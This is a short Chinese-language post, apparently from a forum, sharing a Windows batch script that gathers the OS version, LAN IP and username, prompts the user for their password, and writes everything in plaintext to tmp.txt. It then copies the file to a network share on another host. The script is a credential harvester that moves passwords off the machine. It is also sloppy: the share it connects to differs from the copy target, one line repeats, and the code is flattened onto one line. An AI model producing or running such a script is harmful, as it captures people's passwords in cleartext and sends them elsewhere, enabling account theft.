bat获取系统版本、IP、用户名
这个代码是我网上拼凑的
主要是判断系统的版本,ip还有用户名,然后会提示输入密码。
输入密码后保存到tmp.txt ,再把这个文件copy到我的共享盘里面。
@echo off for /f "tokens=4" %%a in ('route print^|findstr 0.0.0.0.*0.0.0.0') do ( set IP=%%a ) if /i not "%os%"=="Windows_NT" (set TheOS=非Windows系统&set TheBit=) else ( ver | find "4.0" > nul && set TheOS=Windows 95 ver | find "4.10"> nul && set TheOS=Windows 98 ver | find "4.90"> nul && set TheOS=Windows me ver | find "3.51"> nul && set TheOS=Windows NT35 ver | find "5.0" > nul && set TheOS=Windows 2000 ver | find "5.1" > nul && set TheOS=Windows XP ver | find "5.2" > nul && set TheOS=Windows 2003 ver | find "6.0" > nul && set TheOS=Windows Vista ver | find "6.1" > nul && set TheOS=Windows 7 ver | find "6.2" > nul && set TheOS=Windows 8 ver | find "10.0"> nul && set TheOS=Windows 10 set TheBit=x%PROCESSOR_ARCHITECTURE:~-2% ) echo %cd%\tmp.pas echo --------------------------------- echo 你的系统是: %TheOS% %TheBit% > %cd%\tmp.txt echo 你的系统是: %TheOS% %TheBit% > %cd%\tmp.txt echo - echo 你的局域网IP是: %IP% >> %cd%\tmp.txt echo 你的局域网IP是: %IP% echo - echo 你的本机用户名是: %username% echo 你的本机用户名是: %username% >> %cd%\tmp.txt echo Input you password ...... set /p password= echo 你的本机密码是: %password%. >> %cd%\tmp.txt rem 以下是把文件存到我的共享文件夹 net use \\192.168.50.24 xcopy %cd%\tmp.txt \\192.168.0.0\tmp\ /s/d/y set password= pause